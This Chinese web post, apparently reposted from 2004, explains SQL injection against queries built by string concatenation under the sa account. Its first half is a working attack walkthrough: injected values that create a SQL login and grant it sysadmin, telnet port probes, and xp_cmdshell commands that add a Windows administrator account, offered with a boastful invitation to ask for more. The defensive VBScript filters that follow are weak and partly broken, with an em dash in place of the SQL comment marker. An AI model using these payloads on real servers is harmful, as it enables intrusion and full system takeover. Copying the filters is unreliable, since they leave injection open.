您的位置:首页 > 产品设计 > UI/UE

select .. where name = "+ Request.QueryString["name"]的后果?

2004-07-01 15:52 483 查看
很多人用数据库发布的时候都用的sa,再加上"select .. where name = "+ Request.QueryString["name"]这样的操作,我们来看看结果是怎么样?!
[篇幅问题,具体命令自己查查]
把Request.QueryString["name"]的值改为:
1. ;exec master.dbo.sp_addlogin Test, Test, master-- // 建立用户
2. ;EXEC master.dbo.sp_addsrvrolemember 'Test', 'sysadmin'-- // 将用户test提升为管理员组
用 telnet www.***.com 1433 查看是否可以远程登陆,如果可以嘿嘿..
不可以呢?
向下看
象上面编程的人安全意识都不高,看看他的机子有那些端口开着
telnet www.***.com 1433
telnet www.***.com 3389
telnet www.***.com 21
telnet www.***.com 139
telnet www.***.com 445
大多数都开着,下面我们就假设都开了!
运行下面的存储过程在他的sql查询分析器里,一条条运行
exec master.dbo.xp_cmdshell 'net user TEST Test /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'
exec master.dbo.xp_cmdshell 'net localgroup administrators Test /add'
这样你就在他系统里建立了一个系统账号,TEST 上面建立的是sql帐号
后面想干什么我就不细说,有问我就答
防止攻击:
方法一——过滤单引号
function escape(input)
input=replace(input,"'","''")
escape=input
end function
方法二——拒绝已知的错误输入
function validate_string(input)
known_bad=array("select","insert","update","delete","drop","—","'")
validate_string=true
for i=lbound(known_bad) to ubound(known_bad)
if(instr(1,input,known_bad(i),vbtextcompare)<>0) then
validate_string=false
exit function
end if
next
end function
方法三——只允许正确的输入
function validatepassword(input)
good_password_chars=” abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789”
validatepassword=true
for i=1 to len(input)
c=mid(input,I,1)
if(InStr(good_password_chars,c)=0) then
validatepassword=false
exit function
end if
next
end function
http://community.csdn.net/Expert/topic/3129/3129144.xml?temp=.5659296
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: